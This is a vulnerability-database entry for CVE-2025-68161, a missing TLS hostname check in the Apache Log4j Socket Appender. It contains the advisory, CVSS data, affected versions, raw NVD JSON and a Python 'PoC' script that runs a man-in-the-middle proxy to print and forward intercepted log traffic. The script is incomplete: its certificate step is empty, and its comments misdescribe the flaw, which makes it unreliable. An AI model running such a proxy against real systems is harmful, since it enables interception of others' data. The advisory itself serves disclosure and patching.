Security Vulnerability Report
中文
CVE-2025-68161 CVSS 4.8 MEDIUM

CVE-2025-68161

Published: 2025-12-18 21:15:58
Last Modified: 2026-01-20 01:15:55

Description

The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the verifyHostName https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName configuration attribute or the log4j2.sslVerifyHostName https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName system property is set to true. This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: * The attacker is able to intercept or redirect network traffic between the client and the log receiver. * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:log4j:2.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:log4j:2.0:beta9:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:log4j:2.0:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:log4j:2.0:rc1-rc1:*:*:*:*:*:* - VULNERABLE
Apache Log4j Core >= 2.0-beta9 且 < 2.25.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-68161 PoC - MITM attack against vulnerable Log4j Socket Appender # This PoC demonstrates how an attacker can intercept TLS traffic when hostname verification is bypassed import ssl import socket import subprocess import time def create_malicious_certificate(): """ Generate a certificate that will be trusted by the vulnerable Log4j client This simulates an attacker who has obtained a certificate from a trusted CA """ # In real attack, attacker would use a certificate from a CA trusted by the target # This could be a compromised CA or a certificate for a domain the attacker controls pass def setup_mitm_proxy(listen_port=4443, target_host='logserver.example.com', target_port=4560): """ Set up a transparent proxy to intercept and potentially modify log traffic The proxy will forward traffic to the real server while logging all communications """ context = ssl.create_default_context() context.check_hostname = False # This is what the vulnerable Log4j does context.verify_mode = ssl.CERT_NONE # Bypass certificate verification server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', listen_port)) server.listen(5) print(f"[*] MITM Proxy listening on port {listen_port}") print(f"[*] Forwarding to {target_host}:{target_port}") while True: client_sock, addr = server.accept() print(f"[+] Connection from {addr}") # Log intercepted data data = client_sock.recv(4096) print(f"[*] Intercepted data: {data}") # Forward to real server try: with socket.create_connection((target_host, target_port), timeout=5) as real_server: real_server.sendall(data) response = real_server.recv(4096) client_sock.sendall(response) except Exception as e: print(f"[-] Error: {e}") client_sock.close() def exploit_conditions(): """ Verify conditions required for successful exploitation: 1. Network traffic interception capability 2. Valid certificate from trusted CA """ print("Exploitation requires:") print("1. Ability to intercept/redirect network traffic (MITM position)") print("2. Certificate signed by CA trusted by target's truststore") if __name__ == "__main__": setup_mitm_proxy()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68161", "sourceIdentifier": "[email protected]", "published": "2025-12-18T21:15:57.960", "lastModified": "2026-01-20T01:15:55.067", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the verifyHostName https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName configuration attribute or the log4j2.sslVerifyHostName https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName system property is set to true.\n\nThis issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions:\n\n * The attacker is able to intercept or redirect network traffic between the client and the log receiver.\n * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured).\n\n\nUsers are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue.\n\nAs an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-297"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.1", "versionEndExcluding": "2.25.3", "matchCriteriaId": "31519F76-3FFC-4BC5-9AB1-BE4A8932B919"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:2.0:-:*:*:*:*:*:*", "matchCriteriaId": "17854E42-7063-4A55-BF2A-4C7074CC2D60"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:2.0:beta9:*:*:*:*:*:*", "matchCriteriaId": "53F32FB2-6970-4975-8BD0-EAE12E9AD03A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:2.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "B773ED91-1D39-42E6-9C52-D02210DE1A94"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:2.0:rc1-rc1:*:*:*:*:*:*", "matchCriteriaId": "5AB14857-035D-4666-B5B3-56F790E81467"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:log4j:2.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "EF24312D-1A62-482E-8078-7EC24758B710"}]}]}], "references": [{"url": "https://github.com/apache/logging-log4j2/pull/4002", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://lists.apache.org/thread/xr33kyxq3sl67lwb61ggvm1fzc8k7dvx", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "https://logging.apache.org/cyclonedx/vdr.xml", "sou ... (truncated)